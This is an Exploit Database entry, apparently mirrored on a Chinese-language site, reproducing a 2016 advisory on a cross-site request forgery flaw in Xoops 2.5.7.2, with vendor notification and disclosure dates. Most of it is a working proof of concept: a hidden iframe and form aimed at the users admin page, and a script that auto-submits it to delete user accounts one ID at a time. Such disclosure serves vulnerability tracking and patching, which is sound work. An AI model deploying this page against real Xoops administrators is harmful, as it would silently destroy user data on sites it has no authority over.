Xoops 2.5.7.2 – Cross-Site Request Forgery (Arbitrary User Deletions)

• Exploit Database
• 15 阅读

• 作者： hyp3rlinx
  日期： 2016-03-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39582/

• <!--
  [+] Credits: John Page aka hyp3rlinx
  
  [+] Website: hyp3rlinx.altervista.org
  
  [+] Source:http://hyp3rlinx.altervista.org/advisories/XOOPS-CSRF.txt
  
  
  Vendor:
  =============
  xoops.org
  
  
  Product:
  ================
  Xoops 2.5.7.2
  
  
  Vulnerability Type:
  ===================================
  CSRF - Arbitrary User Deletions
  
  
  Vulnerability Details:
  =====================
  
  Xoops 2.5.7.2 has CSRF vulnerability where remote attackers can delete ALL
  users from the Xoops database.
  
  
  References:
  http://xoops.org/modules/news/article.php?storyid=6757
  
  
  Exploit Codes:
  =============
  
  Following CSRF attack delete all users from database, following POC code
  will sequentially delete 100 users from the Xoops application.
  -->
  
  <iframe name="ifrm" style="display:none" name="hidden-form"></iframe>
  
  <form target="ifrm" name='memberslist' id='CSRF' action='
  http://localhost/xoops-2.5.7.2/htdocs/modules/system/admin.php?fct=users'
  method='POST'>
  <input type="hidden" id="ids" name="memberslist_id[]" />
  <input type="hidden" name="fct" value="users" />
  <input type="hidden" name="edit_group" value="" />
  <input type="hidden" name="selgroups" value="" />
  <input type="hidden" name="op" value="users_add_delete_group" />
  <input type="hidden" name="op" value="action_group" />
  <input type="hidden" name="Submit" value="Submit+Query" />
  </form>
  
  <script>
  var c=-1
  var amttodelete=100
  var id=document.getElementById("ids")
  var frm=document.getElementById("CSRF")
  function doit(){
  c++
  arguments[1].value=c
  arguments[0].submit()
  if(c>=amttodelete){
  clearInterval(si)
  alert("Done!")
  }
  }
  var si=setInterval(doit, 1000, frm, id)
  </script>
  
  <!--
  Disclosure Date:
  ==================================
  Jan 29, 2016: Vendor Notification
  Vendor confirms and patches Xoops
  March 17, 2016 : Public Disclosure
  
  =================================
  
  [+] Disclaimer
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  provided that it is not altered except by reformatting it, and that due
  credit is given. Permission is explicitly given for insertion in
  vulnerability databases and similar, provided that due credit is given to
  the author.
  The author is not responsible for any misuse of the information contained
  herein and prohibits any malicious use of all security related information
  or exploits by the author or elsewhere. (c) hyp3rlinx.
  -->